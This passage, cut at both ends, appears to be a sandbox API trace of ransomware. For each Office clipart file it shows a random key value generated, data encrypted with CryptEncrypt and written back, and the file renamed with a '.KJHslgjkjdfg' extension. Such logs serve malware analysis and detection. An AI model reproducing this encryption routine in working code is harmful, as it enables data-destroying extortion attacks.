dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.132] GetProcessHeap () returned 0x2a0000 [0181.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.132] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.132] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.132] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.133] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.133] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.133] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x154c, lpOverlapped=0x0) returned 1 [0181.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1550, dwBufLen=0x1550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1550) returned 1 [0181.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.134] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1550, lpOverlapped=0x0) returned 1 [0181.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.134] SetEndOfFile (hFile=0x114) returned 1 [0181.137] GetProcessHeap () returned 0x2a0000 [0181.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.137] GetProcessHeap () returned 0x2a0000 [0181.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.kjhslgjkjdfg")) returned 1 [0181.139] CloseHandle (hObject=0x114) returned 1 [0181.139] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0181.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.140] GetProcessHeap () returned 0x2a0000 [0181.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.140] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.143] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.143] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.143] GetProcessHeap () returned 0x2a0000 [0181.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.143] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.143] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.143] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.144] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.144] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.144] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.144] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.144] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.144] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13e8, lpOverlapped=0x0) returned 1 [0181.145] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0) returned 1 [0181.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.145] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13f0, lpOverlapped=0x0) returned 1 [0181.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.146] SetEndOfFile (hFile=0x114) returned 1 [0181.149] GetProcessHeap () returned 0x2a0000 [0181.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.149] GetProcessHeap () returned 0x2a0000 [0181.149] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.kjhslgjkjdfg")) returned 1 [0181.150] CloseHandle (hObject=0x114) returned 1 [0181.150] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0181.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.151] GetProcessHeap () returned 0x2a0000 [0181.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.152] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.152] GetProcessHeap () returned 0x2a0000 [0181.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.152] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.155] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.155] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.155] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.155] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xda0, lpOverlapped=0x0) returned 1 [0181.155] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0, dwBufLen=0xda0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0) returned 1 [0181.155] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.155] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xda0, lpOverlapped=0x0) returned 1 [0181.156] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.156] SetEndOfFile (hFile=0x114) returned 1 [0181.161] GetProcessHeap () returned 0x2a0000 [0181.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.161] GetProcessHeap () returned 0x2a0000 [0181.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.kjhslgjkjdfg")) returned 1 [0181.163] CloseHandle (hObject=0x114) returned 1 [0181.163] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0181.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.165] GetProcessHeap () returned 0x2a0000 [0181.165] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.165] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.166] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.169] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.169] GetProcessHeap () returned 0x2a0000 [0181.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.169] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.169] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.169] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.169] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.169] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.169] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.169] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.170] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcd8, lpOverlapped=0x0) returned 1 [0181.170] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0, dwBufLen=0xce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0) returned 1 [0181.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.170] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xce0, lpOverlapped=0x0) returned 1 [0181.170] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.170] SetEndOfFile (hFile=0x114) returned 1 [0181.173] GetProcessHeap () returned 0x2a0000 [0181.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.173] GetProcessHeap () returned 0x2a0000 [0181.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.kjhslgjkjdfg")) returned 1 [0181.175] CloseHandle (hObject=0x114) returned 1 [0181.175] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0181.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.177] GetProcessHeap () returned 0x2a0000 [0181.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.177] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.177] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.180] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.180] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.180] GetProcessHeap () returned 0x2a0000 [0181.180] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.180] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.180] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, 